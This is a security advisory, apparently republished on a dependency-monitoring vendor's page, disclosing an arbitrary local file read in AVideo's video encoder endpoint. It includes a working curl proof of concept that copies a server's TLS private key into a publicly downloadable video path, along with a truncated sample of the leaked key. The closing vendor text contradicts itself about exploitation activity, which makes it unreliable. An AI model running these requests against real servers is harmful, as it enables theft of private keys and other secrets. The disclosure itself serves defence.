Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-4jw9-5hrc-m4j6
No affected components available
Summary
POST /objects/aVideoEncoder.json.php accepts a requester-controlled chunkFile parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass isValidURLOrPath(). That helper allows files under broad server directories including /var/www/, the application root, cache, tmp, and videos, only rejecting .php files.
For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.
I confirmed this locally by creating an attacker-owned video, then calling aVideoEncoder.json.php with videos_id=<own video>, format=mp4, and chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem. The resulting public video URL returned the local TLS private key and began with -----BEGIN PRIVATE KEY-----.
Affected Versions / Commit
Tested on local Docker deployment from commit db12d4c0141d40bfabd1e82577e8c4a3d044cd84. The application reported version 26.0.
Preconditions
- Authenticated account with upload permission.
- Attacker owns at least one editable video record.
- Target local file is readable by the web application user.
Steps to Reproduce
- Log in as an upload-capable low-privileged user.
- Create any attacker-owned video via the normal upload endpoint to obtain
videos_idandfilename. - Send a POST request to
aVideoEncoder.json.phpwith the attacker's ownvideos_id, an allowedformat, and a server-localchunkFilepath. - Download the resulting media object from
/videos/<filename>/<filename>.mp4.
Proof of Concept
The included poc.py automates the exploit against the local instance.
Manual reproduction:
# 1. Login as low-priv uploader
curl -s -c attacker.cookies \
-d 'user=attacker&pass=UserPass123!' \
http://127.0.0.1/objects/login.json.php >/dev/null
# 2. Create an attacker-owned video
printf 'x' > poc.mp4
curl -s -b attacker.cookies \
-F 'upl=@poc.mp4;type=video/mp4' \
http://127.0.0.1/view/mini-upload-form/upload.php
# Example response:
# {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...}
# 3. Copy a local file into the attacker's public video path
curl -s -b attacker.cookies \
-d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \
http://127.0.0.1/objects/aVideoEncoder.json.php
# 4. Retrieve the copied file over HTTP
curl -s \
http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head
Observed Result
The final GET returned the contents of the local TLS private key:
-----BEGIN PRIVATE KEY-----
MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard